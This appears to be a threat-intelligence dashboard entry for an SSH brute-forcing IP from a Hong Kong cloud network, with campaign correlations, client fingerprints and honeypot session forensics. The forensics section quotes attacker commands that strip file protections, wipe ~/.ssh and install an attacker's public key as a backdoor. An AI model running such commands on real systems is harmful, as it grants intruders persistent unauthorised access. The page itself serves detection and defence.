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Location
🇭🇰 HK
ASN
AS142403 · YISU CLOUD LTD
Cloud Provider
—
Total Events
123
Above average by volume
Agent Count
2
First / Last Seen
2026-05-04 05:34 — 2026-06-10 05:53
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Discovery
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
AS142403 YISU CLOUD LTD
ASN
Active
medium
🇭🇰 HK
5 IPs
1481 events
ssh:bruteforce
2026-03-01 — ongoing · 5 IPs from the same network (YISU CLOUD LTD, AS142403) were active during overlapping time periods. Temporal correlation …
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (523 IPs, 65 countries)
HASSH
Active
high
🇺🇸 US
523 IPs
265896 events
http:scanssh:bruteforce
2026-02-25 — ongoing · 523 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Microsoft Corporation (AS8075). Geographic and …
Session Forensics
Sessions
23 (2 with login)
Avg Depth Score
0.25
Commands Executed
3
Files Downloaded
1
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Opportunistic Bruter
53c2b49276d7
LOGIN
1
50%
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HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
f23393cac32e
LOGIN
3
1
1
100%
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HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…